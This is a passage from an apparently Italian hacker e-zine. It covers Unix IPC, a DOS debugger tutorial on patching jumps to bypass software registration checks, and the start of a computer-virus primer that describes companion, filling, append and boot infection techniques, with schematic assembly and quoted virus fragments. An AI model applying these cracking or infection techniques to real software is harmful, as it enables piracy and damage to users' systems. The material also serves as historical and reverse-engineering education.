solo alla prima chiamata, alla seconda apre il primo e dopo possono essere usate
per comunicare. Nella pipe io mando un flusso continuo di dati, poi toccherà al
pgm ricevente dimensionare la lettura dei dati. Le pipe funzionano molto bene ma
non sempre sono utilizzabili.
Un altro metodo utilizzabile è il message passing...
I messaggi sono blocchi di informazioni di dimensione fissa che vengono inviati
uno per volta da un processo ad un altro. Il processo che invia il messaggio
deve conoscere il pid del processo al quale è indirizzato il messaggio.
Semplicemente il pgm ricevente chiede all'OS di ricevere i dati mandati al suo
pid, quindi un programma fa una send e l'altro una receive, terminano insieme.
Il message passing ha la caratteristica intrinseca di sincronizzare i processi.
Un pgm non può proseguire se non ha dati e i messaggi vengono mandati solo se
sono completi. Vi sono essenzialmente 2 problemi:
- il messaggio è personale e riguarda un solo pid;
- la chiamata prevede sincronismo ed è quindi bloccante (ovvero il pgm che
riceve deve attendere il messaggio dell'altro e il pgm che manda è costretto ad
attendere finchè l'altro non ha letto il messaggio,il sincronismo è dato
dall'OS).
Per ovviare al secondo problema si adotta un altro metodo di comunicazione: il
message posting. Tale metodo si basa su una o più mailbox, mantenute dall'OS,
che ricevono i messaggi inviati dai pgm e vengono lette dai pgm che devono
ricevere messaggi (proprio come le cassette per la posta di un condominio).
La mailbox non è un processo e quindi non ha pid, ma ha un indirizzo.
Una volta letto il messaggio viene rimosso dal programma che lo ha letto.
Dalla mailbox possono prelevare e immettere messaggi + processi, ovviamente
essi non possono agire contemporaneamente su uno stesso messaggio.
L'unico problema con questo metodo è che i programmi si bloccheranno in
scrittura se la mailbox è piena e si bloccheranno in lettura se è vuota.
Esiste un ultimo metodo di comunicazione tra processi, utile a risolvere il
problema della gestione dei dati in comune.
I dati sono immagazzinati in memoria e si vuole che essi siano modificati da +
programmi, per farli comunicare si sfrutta quindi uno spazio di memoria comune.
La memoria viene concessa dall'OS che la affida ai 2 programmi in comune.
Vi sono ancora alcuni inconvenienti:
- tutti e 2 i pgm possono scrivere nello spazio di memoria comune.
In tal caso il time slice del primo programma potrebbe terminare mentre è in
fase di scrittura di un record e il lavoro fatto da lui finora potrebbe essere
rovinato da un'accidentale scrittura in memoria operata dal secondo pgm.
La porzione di codice del pgm scrivente dove quest'ultimo effettua l'accesso al
buffer è detta sezione critica. La sezione critica è relativa ad un certo dato.
Bisogna quindi stabilire che un solo pgm per volta può accedere alla sezione
critica relativa ad un determinato dato e così facendo ho risolto il problema.
Per proteggere una sezione critica si utilizza quindi un semaforo che dev'essere
controllato dal pgm scrivente che si deve comportare di conseguenza (se è
settato allora rinuncia alla scrittura, se non è settato lo setta e scrive).
Qui di seguito è presentato un primitivo schema di una sezione critica:
setsem(); ----> controlla il semaforo, se è settato resta in polling finchè non
è libero, altrimenti lo setta.
modifica_dati();
clrsem(); ----> effettua una clear del semaforo a modifica avvenuta.
Il semaforo è implementato con una cella di memoria che può assumere 2 valori:
0=libero oppure 1=occupato.
SETSEM CLRSEM
| |
+<--------+ |
| | |
SEM=0?--NO--+ SEM=0
| |
SEM=1 |
| |
Ma ecco subito comparire un ulteriore problema: la setsem può essere schedulata
prima di settare il semaforo, in tal caso altri pgm potranno entrare nella
sezione critica e inoltre il primo pgm schedulato crederà che il semaforo sia
stato settato da lui. Una soluzione plausibile a questo problema può essere
quella di disabilitare gli interrupt e quindi il time slice e di riabilitarli
alla fine del settaggio. Dato che la setsem fa parte dell'OS può disabilitare
le interruzioni. Tutto ciò andrebbe bene se non avessi molti processori (come
per esempio la scheda video). Perciò la scheda video può mandare gli interrupt
che non sono stati disabilitati (ad esempio per l'accesso al bus) e può inoltre
accedere all'area di memoria comune. Dovrò quindi impedire l'accesso al bus da
parte della scheda video. Avrò dunque bisogno di un'unica istruzione che sbrighi
tutto il lavoro della setsem e che tenga occupato il bus, tale istruzione è
comunemente chiamata test&set ed è così implementata:
SM: MOV AX,1
LOCK XCHG AX,SEM ; con la lock tengo occupato il bus
TEST AX,0FFFFH ; testo il semaforo
JNZ SM
Personalmente preferisco usare il message posting, dato che con qualche
controllo è un metodo sicuramente efficace e per questo già usato in ambiente
Linux. Il messaggio viene implementato nel seguente modo:
struct message{
int msgtype;
char msg[LUNG_MAX];
};
Le primitive legate al message posting sono le seguenti:
- creazione/apertura di una nuova mailbox
int msgget(IPC_PRIVATE, S_IREAD|S_IWRITE);
- scrittura di un messaggio in una mailbox
int msgsnd(int mailbox, struct message *, int msg_size, 0);
- lettura di un messaggio da una mailbox
int msgrcv(int mailbox, struct message *, int msg_size, int msgtype, 0);
- distruzione/chiusura di una mailbox esistente
int msgctl(int mailbox, IPC_RMID, NULL);
Naturalmente per saperne di + vi rimando al fantastico e a mio parere completo
Linux Programmers' Manual (comando man, solitamente sezione 3).
Ora abbiamo tutti i processi che vogliamo e sappiamo farli comunicare, perciò vi
propongo un semplice esercizio per testare ciò che avete appreso.
Scrivere un semplice gioco in stile guardia e ladro.
- l'utente comanda la guardia e il ladro scapperà controllato da una semplice
AI, il gioco termina con la cattura del ladro;
- 3 processi (1 per il ladro, 1 per la guardia e uno per stampare la videata di
gioco);
- i messaggi da gestire saranno da guardia e da ladro a stampa per comunicare le
nuove posizioni all'interno della schermata e da guardia a ladro per comunicare
la posizione corrente della guardia ed evitare che il ladro gli vada incontro;
- Usate solo la modalità testo e per maggiore semplicità usate un solo carattere
per rappresentare la guardia e il ladro (per es. G per la guardia e L per il
ladro);
- Non complicatevi troppo la vita, l'esercizio è solo per vedere se avete
capito, non farcitelo di cose inutili;
Quello che avete imparato con questo breve articolo magari non è il massimo
della programmazione al giorno d'oggi ma che ci posso fare, sò giovane e per ora
conosco ancora poche semplici cosucce =)
Alla prox magari con un bell'articolo sull'hacking che di programmazione non so
davvero un cazzo... Capito Xevillo ?!?!?!?!? =)
================================================================================
== WANNABE CRACKER ?
================================================================================
== T3X == Avatar, RingZer0, Orda delle Badlands
================================================================================
Bene, Ciao a tutti. Innanzitutto mi scuso per queste poche righe, purtroppo il
tempo è tiranno... Per questo numero 1, dato il suo karattere prettamente
iniziatiko, ho konsigliato al buon [KC] di inkludere un qkosa ke riguardasse
kome iniziare l'affascinate karriera del Cracker, e la scelta è rikaduta su un
mio vekkio Tutorial skritto per RingZer0 ke è proprio adatto a ki ne sa poko e
deve cerkare di kapire kome si krakka un proggy. Non vi naskondo ke da questo
tute uscirà poka roba utile nella pratika, ma serve a dare una idea delle
metodologie e delle tecnike kon kui si affronta una sessione di Reverse
Engeneering.Magari in futuro cerkero' di skrivere un seguito da pubblikare nei
prox numah. Enjoy, and Keep on Crackin'!
--> Reversing, come iniziare. <--
Tools usati: Microsoft's DEBUG.EXE, ALittleBitOfMyPoorBrain
Ok, intanto una breve intro. Il mio scopo è di fornire un aiuto a chi vorrebbe
iniziare a giokare kol debugger, principalmente per i wannabecrackers che non
sanno dove sbattere la testa. Se infatti è vero che la Rete offre una vagonata
di testi e tutorialz, questi sono in inglese e soprattutto prevedono ke ki li
legge sia già kapace di fare kuello ke viene spiegato (un po' kome le banke ke
per darti dei soldi pretendono ke tu li abbia già...).
Cerkerò anke di dare qualke dritta sui toolz e su kome usarli, sempre partendo
dal presupposto di skrivere per persone ke di crackin' non sanno (ankora;)
nulla. Io stesso non sono un guru del Reverse Engeneering, sono anni ke non
metto mano al debugger, pratikamente da kuando trovo kuello ke mi serve già
pronto sulla Rete, e sono sikuramente più agile usando il mio vekkio DEBUG.COM
ke i più recenti SoftICE, IDA & C.
Bene, that's all, si komincia.
Innanzitutto crackare un programma (io ho il vizio di dire 'sproteggere') vuol
dire modificarne il comportamento al fine di ottenerne un utile, ovvero per
esempio evitare ke ci kieda kodici di registrazione, eliminare i fastidiosi NAG
screen (quelle skermate ke ci fanno il pistolotto affinkè si metta mano al
portafogli), evitare di dover kopiare tutto un CD pieno zeppo di minkiate
filmati orripilanti ke okkupano inutilmente centianaia di Mb un tempo preziosi e
ora inkredibilmente sprekati); insomma, crakkare! :)
Sfortunatamente non esiste *IL* metodo per crakkare, esistono solo alcune linee-
guida generali. Il vero cracker deve trovare sempre la soluzione migliore kaso
per kaso, a volte mi è bastato cerkare un po' nei files di certi gioki per
trovare qua e là le password e mettere sempre la stessa ovunkue (parlo di kuei
gioki per DOS di svarati anni fa ke kiedevano la tal parola in tale pagina o
amenità simili, vedi MechWarrior, Search for the King e moltissimi altri, era
una protezione molto in voga insieme ai diski kiave).
Il metodo più ovvio comunque rimane quello di mettere mano al codice eseguibile
del programma, e a questo punto occorre necessariamente fare un passo indietro.
Creare un programma vuole dire creare un codice sorgente in un linguaggio ad
'alto' livello (C/C++, Pascal, Basic (blearp)) e poi passarlo ad un compilatore
che crea il codice oggetto, e ankora passare il codice oggetto ad un linker per
creare l'eseguibile finale, che ora come ora possiamo immaginare essere una
sequenza di istruzioni elementari in linguaggio macchina. Il problema nasce dal
fatto che mentre il sorgente è abbastanza chiaro, perlomeno per i nostri scopi
(vi sfido a kapire kualkosa o trovare *UN* kommento nei miei programmi ...), una
volta kompilato e ottenuto l'eseguibile finale (.EXE, .COM o .DLL per WinZozzo)
si perde pratikamente ogni informazione di massima sul programma, ke deve essere
kuindi ispezionato kon un debugger per tracciarne l'esekuzione e rikostruirne il
funzionamento. Diciamo ke la creazione di un file eseguibile è un procedimento
one-way, ovvero che non esiste un metodo per ricostruire esattamente il sorgente
originale partendo dal suo compilato, sempre appunto a kausa della perdita di
informazioni (nomi di variabili, tipi di routines etc. etc.).
Ho fatto kuesta premessa perkè vorrei far kapire ke la diffikoltà più grossa per
un cracker è kuella di farsi un' idea del funzionamento del programma, di kome è
strutturato e di dove andare a cerkare la parte di kodice su kui intervenire.
Veniamo al sodo ora.
Eravamo rimasti al linguaggio makkina, urge spiegazione ;) Il linguaggio makkina
è un codice ke è direttamente eseguibile dal processore, senza ulteriori
trasformazioni. Il metodo per leggere il linguaggio macchina è di utilizzare un
debugger, un altro programma che ci permette di visualizzare in un codice
mnemonico più 'umano' le operazioni che il processore andrà a kompiere ed
eventualmente tracciarne passo passo l'esekuzione. Si tratta ovviamente di
operazioni elementari come somme, shiftamenti, salti & kompagnia bella,
visualizzate kon diciture kriptike come SUB AL,BL (Subtract BL from AL), JNZ
XYZK (Jump if NotZero to XYZK) e altre amenità.
Purtroppo non ho il tempo di fare un korso di l.m. , probabilmente nemmeno le
konoscenze, per questo konsiglio kaldamente a tutti di imparare un minimo di
linguaggio makkina prima di tentare qualsiasi approccio; Forse riuscirete ad
arrivare lo stesso alla fine del tutorial, ma di fronte ad un programma vero
probabilemte vi verrà la voglia di lasciar perdere tutto e fankulo il crackin'.
Nella mia 'karriera' di cracker ho imparato ke le istruzioni più interessanti
sono davvero poke, non okkorre essere dei maniaci dell'assembler e questo di
certo facilita le cose. Una delle istruzioni più incontrate in percentuale
all'interno di un programma è di sicuro quella di kiamata di procedura, una
sorta di GOSUB ke in realtà è kodifikata come CALL. La sua sintassi è CALL
[indirizzo]. Vediamo un esempio stupido per fissare le idee. Immaginiamo per un
momento di essere nel bel mezzo dell'esekuzione di un programma DOS, con una
rappresentazione del kodice del tipo segmento:offset (non kambia kuasi nulla
sotto Win, l'importante è il koncetto):
SEGM:OFFS CODICE MNEMONICO
1F47:0100 BB1000 MOV BX,0010
1F47:0103 B82000 MOV AX,0020
1F47:0106 E8F71E CALL 2000
1F47:0109 3D0000 CMP AX,0000
1F47:010C 742B JZ 0139
. . .
. . .
Allora, kuesto esempio davvero banale serve ad illustrare alkune istruzioni:
La prima e la sekonda istruzione karicano il valore 0x0010 esadecimale nel
registro BX e 0x0020 esadecimale nel registro AX; i registri del processore sono
una sorta di 'variabili' interne utilizzabili più o meno liberamente per
eseguire dei kalkoli, delle assegnazioni o per tenere l'indirizzo di posizioni
partikolari di memoria, e sono ovviamente più di 2.
La terza istruzione è una kiamata di procedura, kome dicevo una sorta di GOSUB e
RETURN del BASIC. Kuando il processore inkontra una CALL, per prima kosa salva
nello stack il valore korrente dell' offset all'interno del segmento, valore ke
si trova nel registro IP (EIP nella modalità 386 estesa), in modo da potervi
tornare una volta terminata la procedura, dopodikè salta alla posizione
1F47:2000 dove presumibilmente è kontenuto il kodice della procedura. Vediamolo:
SEGM:OFFS CODICE MNEMONICO
1F47:2000 51 PUSH CX
1F47:2001 52 PUSH DX
. . .
[ kodice della routine ]
. . .
1F47:24AE 5A POP DX
1F47:24AF 59 POP CX
1F47:24B0 C3 RET
Le prime due istruzioni salvano il valore dei registri CX e DX nello stack, una
zona di memoria riservata individuata dai registri SS:SP (Stack Segment:Stack
Pointer) ke funziona kome una pila di oggetti, nella kuale il primo oggetto
estratto è kuello ke è stato inserito per ultimo. Per kuesto le due istruzioni
POP finali hanno l'ordine invertito rispetto alle PUSH.
L'istruzione RET ha il kompito (normalmente) di far tornare il programma
all'istruzione immediatamente successiva a kuella della kiamata, nel nostro kaso
a 1F47:0109 CMP AX,0000 , in pratika facendo una sorta di 'POP IP'.
Immaginiamo ora ke la procedura kompresa tra 1F47:2000 e 1F47:24B0 esegua
svariati kompiti, ke kontenga ank'essa a sua volta delle kiamate, tra kui magari
la verifika della registrazione del kodice del programma stesso, e ke subito
prima di ritornare a 1F47:0109 imposti il registro AX a 0 o a 1 , a seconda ke
il programma sia registrato o meno. In kuesto kaso non ci importa un kakkio di
KOME tale verifika venga fatta, a noi importa sapere ke il proseguimento del
programma è influenzato (per kuel ke riguarda la registrazione dello stesso) dal
valore assunto da AX.
l' istruzione 1F47:0109 CMP AX,0000 konfronta il valore (CoMPare) di AX kon 0, e
viene settato un flag sempre del processore (il flag Zero o ZF; in realtà anke
il Carry Flag, CF, se i 2 operandi sono Unsigned, ma a noi non ce ne frega una
cippa :);
Se i due operandi, qui AX e 0 kombaciano, ovvero se AX=0 kuesto benedetto flag
ZF viene posto a 1, tutto qui; l'istruzione successiva, 1F47:010C JZ 0139 (Jump
if Zero to 0139) è un salto kondizionato dal valore del flag ZF : se ZF vale 0
il programma kontinua il suo flusso regolarmente, mentre se ZF vale 1 il
processore 'salta' alla lokazione 1F47:0139. A kuesto punto è kiaro ke tra
1F47:010C e 1F47:0139 si troverà la parte di kodice ke visualizza il NAG screen,
magari una procedura di registrazione o kualke altra rottura di palle, e ke a
1F47:0139 invece inizia il programma vero e proprio. Inutile dire ke in questo
kaso banale e fin troppo inventato basta mettere un salto incondizionato nella
locazione di memoria 1F47:010C ovvero un bel JMP 0139 (JuMP to 0139) ed
ottenere:
SEGM:OFFS CODICE MNEMONICO
1F47:0100 BB1000 MOV BX,0010
1F47:0103 B82000 MOV AX,0020
1F47:0106 E8F71E CALL 2000
1F47:0109 3D0000 CMP AX,0000
1F47:010C EB2B JMP 0139 <---- MODIFIKATO
. . .
. . .
L'ultima kosa per questa introduzione è il fatto ke nel modifikare le istruzioni
del programma bisogna assulutamente rispettare gli 'spazi' a disposizione !
Kuesto è MOLTO importante, per non inkasinare il kodice del programma. Se io
avessi voluto ad esempio mettere l'istruzione di salto inkondizionato subito
dopo la kiamata, ovvero al posto del CMP AX,0000 (oramai assolutamente inutile),
poteva succedere una kosa del tipo:
SEGM:OFFS CODICE MNEMONICO
1F47:0100 BB1000 MOV BX,0010
1F47:0103 B82000 MOV AX,0020
1F47:0106 E8F71E CALL 2000
1F47:0109 EB2E JMP 0139 <---- MODIFIKATO
1F47:010B 00742B ADD [SI+2B],DH <---- SPUTTANATO
. . .
. . .
Ke kazz è successo? Semplice, l'istruzione CMP AX,0000 è 'lunga' 3 byte, mentre
JMP 0139 solo 2 byte, e kuindi il terzo byte '00' è stato inkorporato
nell'istruzione successiva, ke il processore ha interpretato kome ADD [SI+2B],DH
, una kosa in kuesto kaso partikolare irrilevante perkè non verrà mai eseguita,
ma decisamente brutta e potenzialmente distruttiva in altre situazioni (kompito
a kasa : tradurre ADD [SI+2B],DH ;-). Ma se sono testardo e voglio a tutti i
kosti mettere il mio JMP nella lokazione 1F47:0109 ?!?! Ekkeppalle , ok ok...
C'è una istruzione dei processori 80X86 ke serve a fare nulla, si kiama NOP e
corrisponde all'esadecimale 0x90 (kuale cracker non lo sa?!?!), lunga un byte e
kon la kuale 'aggiustare' il kodice zoppikante. L'ultima versione potrebbe
essere kuella ottenuta mettendo all ' indirizzo 1F47:010B l'istruzione NOP
ottenendo:
SEGM:OFFS CODICE MNEMONICO
1F47:0100 BB1000 MOV BX,0010
1F47:0103 B82000 MOV AX,0020
1F47:0106 E8F71E CALL 2000
1F47:0109 EB2E JMP 0139 <---- MODIFIKATO
1F47:010B 90 NOP <---- AGGIUNTO
1F47:010c 742B JZ 0139 <---- RIPRISTINATO (ma non viene mai eseguito)
. . .
. . .
Ovviamente si potrebbe NOPpare anke il JZ 0139, ma perkè farlo ? :-) Kosì va
ugualmente, almeno per kuesto esempietto. Al posto dei NOP, se sono tanti e si
sospetta ke il programma in kualke maniera possa kontrollare se il proprio
kodice è stato alterato kontando appunto le okkorrenze di NOP consekutivi si
possono aggiungere istruzioni 'inutili' kome una sequenza pari di DEC AX e INC
AX o tutto kuello ke puo' venirvi in mente ke non alteri il kodice; Per favore
non fate kritike sulla banalità dell'esempio, era voluta e so benissimo ke in
kasi reali le kose non vanno kosì (perlomeno non più; Terminator 2 era un
giokino skifoso almeno kuanto la sua protezione, addirittura era tutto
kontenuto in una CALL, è bastato NOPparla e addio skermata di protezione ;-).
La domanda ke mi aspetterei è : "Ma kome kazzo fai a sapere ke la CALL 2000
esegue le verifike e ke in AX c'è il risultato?!?!?" La risposta ci riporta a
kuello ke dissi nella intro : è tutta questione di kapire kome funziona il
programma, non ci sono skemi fissi. Si prova, si inventa, si tenta, si spera in
una botta di kulo (serve SEMPRE) e prima o poi i programmi cedono. A volte mi
son bastati 10 minuti (vedi Terminator 2) altre volte è stata questione di
svariate ore totali (il Conseal 1.04 ad esempio, ma li' è kolpa dell'
inesperienza kon le Win32 :), altre volte ho rinunciato (si, il tempo è
tiranno...).
Se volete provare ad assemblare l'esempio ke ho riportato, da WIn9X aprite una
finestrella DOS e scrivete 'debug'; vi apparirà un trattino ed il prompt, voi
skrivere A e date invio, dovreste ottenere una kosa del tipo 'XYZK:0100 _ ' :
ora potete digitare le istruzioni (MOV BX,0 etc etc ), e kuando avete finito
date CONTROL+C; date U 100 e invio, se avete fatto tutto bene dovreste trovare
l'esempio, segmento a parte (kuello kambia).
Happy Crackin' a tutti, e andate a rakkattare un buon libro sul linguaggio
makkina degli 80x86. Alla prossima lezione.
================================================================================
== VIRUS DEI COMPUTER
================================================================================
== O-Zone <zerozone@freemail.it> == v1.0 [04-01-2000] == http://zap.to/ozone
================================================================================
Disclaimer:
Non mi assumo alcuna responsabilita' per quanto riguarda il contenuto del
seguente file. Gli esempi riportati e le spiegazioni sono esclusivamente per
fini didattici. Nessuna responsabilita' potra' essere attribuita all'autore
per l'uso impoprio che altri potranno fare del seguente e delle informazioni
in esso contenute. Non mi assumo alcuna responsabilita' per eventuali danni
causati da uso proprio o improprio del seguente e delle informazioni in esso
contenute. Diffido chiunque dal compilare e/o eseguire i sorgenti contenuti
in questo testo. Essi sono puramente per scopi didattici. L'autore, in breve,
non si assume alcuna responsabilita'.
Contenuti:
1) Cos'e' un virus informatico ?
2) Proprieta' comuni
3) Classi dei virus
3.1) Virus Binari
3.1.1) Companion
3.1.2) Overwrite
3.1.3) Filling
3.1.4) Append
3.1.5) Boot
3.2) Virus Non Binari
3.2.1) Hoax
3.2.2) Macro
3.2.3) Exploit
4) Caratteristiche interessanti
4.1) Stealth
4.2) Encription
4.3) Polimorfico
4.4) Anti A.V.
5) Legislazione italiana in materia
6) Dopo la teoria...la pratica !
(0) Conoscenze necessarie per la comprensione del testo
Per meglio comprendere il testo e' necessaria una conoscenza basilare
dell'Assembly e di come funziona la gestione della memoria (segmenti,
offset). Sarebbe meglio conoscere gia' qualcosa dela programmazione sotto
MS-DOS visto che i programmi virus sono a *stretto contatto* con il
sistema operativo. Consiglio la lettura e la consultazione delle Ralph
Brown Interrupt List reperibili, tra l'altro, su Internet. Un manuale di
Assembly 8086 sarebbe l'ideale ;) durante la lettura del codice.
(1) Cos'e' un virus informatico
Analogamente ai virus biologici, un virus informatico e' un programma (un
programma !) che replica se stesso. Detto cosi' pero' non e' molto chiaro.
Sui libri specifici troverete le definizioni di virus che via via sono
nate che pero', coem tutte le definizioni, sono molto difficili da capire.
Facciamo un esempio per analogia: un virus biologico e' un "essere" che
attacca una cellula. Si replica DENTRO la cellula e manda il suo clone ad
attaccare un'altra cellula. Adesso pensiamo alle cellule come ai nostri
file eseguibili (non solo, poi vedremo perche') e al virus come ad un
virus informatico. Tuttavia esiste una radicale differenza: il virus per
agire deve essere eseguito. Infatti un virus informatico e' del tutto
simile ad un normale programma che contiene normalissime istruzioni per
la macchina ! Proprio per questo motivo e' impossibile, per la CPU,
riconoscere il codice di un virus. Tuttavia ci sono dei "segni distintivi"
che possono aiutare a riconoscerlo ma ne parleremo piu' avanti. Al momento
basti sapere che un virus (da qui' in poi per "virus" intendo virus
informatico) e' un programma e deve essere eseguito (non sempre vero, ma
poi speghero' xche).
(2) Proprieta' comuni dei virus
Un virus per essere tale deve fondamentalmente essere in gradi di
replicare se stesso. All'atto pratico, nella maggioranza dei casi, cio'
non e' sufficente. Infatti esso deve, per quanto possibile, deve seguire
le seguenti regole:
1) Essere invisibile
2) Non provocare errori che possano insospettire l'ignaro utente
3) Non occupare troppo tempo macchina
4) Non essere troppo grande
La regola 1 e' propria dei virus STEALTH, che con opportune
techiche che vedremo, riescono a nascondersi all'utente.
Proprio per le regole 3 e 4 e' preferibile scrivere i virus in
Assembly, che permette una miglior ottimizzazione del codice.
(3) Classi dei Virus
Di tipi di virus (o classi) ce ne sono diverse. Non tutti i virus si
comportano allo stesso modo, hanno le stesse caratterisiche, gli stessi
metodi di infezione,etc.
Ecco quindi un breve "struttura gerarchica" di distinsione per i virus:
VIRUS +---- BINARI +--- COMPANION
| |
| +--- OVERWRITE
| |
| +--- FILLING
| |
| +--- APPEND
| |
| +--- BOOT
|
+---- NON BINARI +--- HOAX
|
+--- MACRO VIRUS
|
+--- "EXPLOIT" VIRUS
Avverto il lettore che alcune classi non hanno i nomi che ho indicato:
questo xche alcune classi NON hanno un nome specifico ;).
Partiamo ad analizzare l'albero dalla radice:
(3.1) VIRUS BINARI
Con la dicitura "Virus Binari" mi riferisco a tutti i virus scritti in un
linguaggio di programmazione (generalmente Assembly o anche C) e
compilati. I Virus Binari sono percui dei veri e propri programmi da
eseguire in linguaggio macchina.
(3.1.1) COMPANION
I virus Companion sono dei virus strani: essi si replicano senza
danneggiare alcun file ma utilizzano una tecnica propria del MS-DOS.
La priorita' di esecuzione dei file sotto MS-DOS e':
1) .BAT
2) .COM
3) .EXE
I virus Companion utilizzano prorpio questa caratteristica, ovvero se noi
abbiamo in una directory X un file chiamato X.EXE, il virus copia se
stesso in un file X.COM cosicche' se noi eseguiamo 'X' lanciamo il .COM
ovvero il virus ! Naturalmente all'interno del virus ci saranno delle
routine specifiche per eseguire anche X.EXE per evitare "sospetti". Ovvio
che il file X.COM e' spesso settato con l'attributi HIDDEN cosicche' con
un eventiale 'dir' non vediamo il nostro "amico" ;).
(3.1.2) OVERWRITE
Questa classe di virus e' la piu' criticata: in pratica il nostro virus
sovrascrive in maniera irreversibile il file originale, andando contro la
regola 2. In pratica se X.EXE prima dell'infezione e' un "editor" dopo
l'infezione esso sara' solo il virus. Percui se dovete scrivere una
lettera e lanciate X nessun editor vi apparira' ! La domanda che un utente
si pone a questo punto e': "Perche' ?" ed e' cio' che bisogna evitare in
un virus. Proprio per questo non e' affatto consigliabile scrivere virus
di tipo OVERWRITE.
Prima dell'infezione:
X.EXE -> [CODICE DEL FILE X.EXE]
Size: 10345 Byte
Dopo l'infezione:
X.EXE -> [CODICE DEL VIRUS][PARTE RESTANTE DI X.EXE]
Size: n Bytes Size: 10345-n Bytes
solo che la parte restante non viene mai eseguita. L'unico vantaggio di
questo tipo di virus e' che la dimenzioen del file rimane, spesso,
invariata.
(3.1.3) FILLING
Questa classe e' a mio avviso la piu' affascinate di tutte. Un virus di
tipo FILLING e' spesso, per ragioni di sicurezza, anche APPEND. Poi
vedremo xche.
Questo tipo di virus, solitamente di dimensioni molto piccole, cerca nel
file da "infettare" uno spazio vuoto in cui nascondersi. Spesso infatti
nei programmi ci sono degli spazi vuoti usati in fase di esecuzione come
stack e non contenenti alcun dato utile. Il virus ci si copia dentro senza
che nessuno noti nulla: anche la dimensione del file ospite rimane
invariata. In fase di esecuzione,poi, viene eseguito prima il virus e poi
il programma originale. Ecco un esempio in ASM:
[file TEST.COM non infetto]
start: JUMP main
stack DB 100 DUP(00h)
main: NOP
[codice del programma]
una volta compilato il codice binario sara' qualcosa tipo:
[0000] E9 00 10 [un ipotetico JUMP a main:]
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
...
00 00 00 00 00 00 00 00
[0100] 90 [Mnemonico del NOP, prima istruzione di main:]
il virus si annida nei 100 bytes a 00 (ammesso che il virus sia grande <=
100Bytes) e dopo l'infezione il file TEST.COM sara':
N.B. XX sta' per codice del virus.
[0000] E9 00 01 (Ora JMP salta al codice del virus, sara' poi compito del
virus stesso di eseguire il codice originale)
XX XX XX XX XX XX XX XX
...
XX XX XX XX XX XX XX XX
[0100] 90 [Mnemonico del NOP, prima istruzione di main:]
in fase di esecuzione:
[ESEGUI CODICE DEL VIRUS]->[ESEGUI CODICE ORIGINALE]
cosi' l'utente non si accorge di nulla in quanto il programma funziona
ancora perfettamente perche'il virus ha usato lo spazio per i DATI e non
per il CODICE.
Un ipotetico diagramma di flusso di un file FILLING sara':
(START) -> APRO FILE -> CERCO n BYTES a 00h (che non corrispondono ad
alcun mnemonico e che sono, proprio per questo motivo, dati) -> COPIATI
DENTRO ALLO SPAZIO -> PRELEVA PUNTO DI ESCUZIONE ORIGINALE -> SCRIVI IL
TUO PUNTO DI ESECUZIONE -> (FINE)
(3.1.4) APPEND (Non Overwriting Virus)
Eccoci alla classe di virus piu' diffusa, quella APPEND. Questo
particolare tipo di virus si attacca al programma originale conservandone
le proprieta'. Funziona analogamente al tipo FILLING solo che questo tipo
si copia esclusivamente alla fine del file.
Non infetto:
TEST.COM [DATI E CODICE DI TEST.COM]
Size: n Bytes
Dopo l'Infezione:
TEST.COM [DATI E CODICE DI TEST.COM][DATI E CODICE DEL VIRUS]
Size: n + v_size Bytes
Come avrete notato si ha un aumento in dimensioni del file contrastando la
regola 1. Infatti un utente con un semplice 'DIR' puo' notare che il file
e' cresciuto :) ed e' per questo che bisogna attenersi il piu' possibile
alla regola 4. C'e' anche una seconda soluzione: lo STEALTH di cui
parlero' piu' avanti.
Ecco un esempio di come funziona un virus APPEND (Non Overwriting Virus).
TEST.COM Originale Size: n Bytes
start: JUMP main
data DB 20 DUP(00)
main:
nop
nop
nop
int 20h [Fine del programma]
TEST.COM Infetto Size: n + virus_size Bytes
start: JUMP inizio_virus
data DB 20 DUP(00)
main:
nop
nop
nop
int 20h
inizio_virus:
[mi_faccio_i_cazzi_miei]
JUMP main
Come potete osservare per l'utente che esegueil programma infetto non
cambia assolutamente nulla: il codice del programma originale e' sempre
eseguito e siamo ok per la regola 2. :)
Un ipotetico diagramma di flusso potrebbe essere il seguente:
(START)->MI COPIO ALLA FINE DEL FILE OSPITE->GUARDO IL SUO PUNTO DI INIZIO
ESECUZIONE->ME LO ANNOTO->SCRIVO IL MIO PUNTO DI ESECUZIONE->(FINE)
In fase di esecuzione il virus, alla fine dei suoi lavori, fa' un JUMP al
programma originale et voila' ! Il gioco e' fatto ! ;)
(3.1.5) BOOT Virus
Adesso parlo, per correttezza, della calsse di virus che in passato ha
causato piu' danni. Adesso nessuno scrive piu' simili virus ma e' giusto
sapere che anche loro esistono. Famosissimo di questa classe e'il
Virus Michelangelo:
; Virus Name: Michelangelo
; V Status: Common
; Discovered: April, 1991
; Symptoms: Disk directory damage; hard disk format; decrease in total
; system and available memory
; Origin: Sweden or the Netherlands
; Eff Length: N/A
; Type Code: BRtX - Resident Floppy Boot Sector/Master Boot Sector Infector
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
Il loro principio di funzionamento e' semplice: un tempo gli HD costavano
molto e i CD manco si conoscevano. I Floppy-disk erano molto comuni e si
usavano spesso come System Disk. All'avvio del computer (ancora oggi e'
cosi) il BIOS cerca se un dischetto nel floppy-drive e' presente. Se c'e'
esso carica ed esegue il primo settore che dovrebbe contenere il
Bootstrap Loader (ovvero lanciare il sistema, come nei dischi di ripistino
di Windoze). Il Bootstrap Loader e' un programma "particolare" che viene
eseguito come un qualsiasi altro programma.
Esempio tratto dal Terror2 Virus:
boot_start:
db 0E9h <<
db 9Dh << QUESTI 3 BYTES SONO IL JUMP A str_end:
db 00h <<
db "TERROR2" << ETICHETTA DEL DISCO
str_boot:
db " << The Terror II Virus >> ",13,10
db "PolyMorphic Stealth Boot Virus.",13,10
db " Created by Dark Monk.",13,10
db " '' Fuck MS-DOS ! ,, ",13,10
str_end:
db 29 DUP (90h) ; Scrivi 30 NOP
mov ax,0001h ; 320 * 200
int 10h ; Video
mov ah,0Fh
int 10h
...
Il settore di BOOT ha una specie di HEADER che serve al BIOS per capire
che dischetto e'. Al momento non ne ho le specifiche sotto mano ma
comunque in rete ci sono, cercate ! ;)
Allora cosa succede ?
Inserisci il dischetto nel drive, accendi il PC, il BIOS carica il codice
della traccia 0 e lo esegue....e se e' un virus ? Se e' un virus esso ha
il controllo della macchina. Certo, sono necessari accorgimenti
particolari: primo fra tutti e' che il settore e' 512 Bytes, di cui circa
